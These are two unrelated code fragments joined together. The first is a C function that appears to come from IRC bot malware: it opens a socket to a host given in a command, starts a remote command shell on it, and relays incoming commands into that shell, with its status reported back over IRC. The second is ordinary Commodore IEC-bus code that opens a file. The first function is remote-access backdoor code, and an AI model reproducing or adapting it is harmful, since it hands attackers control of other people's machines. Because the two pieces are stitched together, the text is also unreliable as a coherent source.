DWORD WINAPI DCCChatThread(LPVOID param) { DCC dcc = *((DCC *)param); DCC *dccs = (DCC *)param; dccs->gotinfo = TRUE; char buffer[4096]; SOCKET ssock; if ((ssock = CreateSock(dcc.host,dcc.port)) == INVALID_SOCKET) { sprintf(buffer,"[DCC]: Failed to open socket."); if (!dcc.silent) irc_privmsg(ssock, dcc.sendto, buffer, dcc.notice); addlog(buffer); clearthread(dcc.threadnum); ExitThread(1); } if (open_cmd(ssock,"") == -1) { sprintf(buffer,"[DCC]: Failed to open remote command shell."); if (!dcc.silent) irc_privmsg(ssock, dcc.sendto, buffer, dcc.notice); addlog(buffer); fclosesocket(ssock); clearthread(dcc.threadnum); ExitThread(1); } Sleep(100); while (1) { memset(buffer, 0, sizeof(buffer)); if (frecv(ssock, buffer, sizeof(buffer), 0) <= 0) break; strcat(buffer,"\n"); if (!send_commands(buffer)) break; Sleep(100); if (findthreadid(RCMD_THREAD) == 0) break; } sprintf(buffer,"[DCC]: Failed to send to Remote command shell."); if (!dcc.silent) irc_privmsg(ssock, dcc.sendto, buffer, dcc.notice); addlog(buffer); fclosesocket(ssock); clearthread(dcc.threadnum); ExitThread(0); }
void device::open_file( const char *name, int device, int secondary_address ) { DMSG("> iec_open_file"); listen( device ); open_cmd( secondary_address ); send_byte_buffered_init(); for ( ; *name != '\0'; ++name ) { send_byte_buffered( ascii2petscii(*name) ); } send_last_byte(); unlisten(); DMSG("< iec_open_file"); }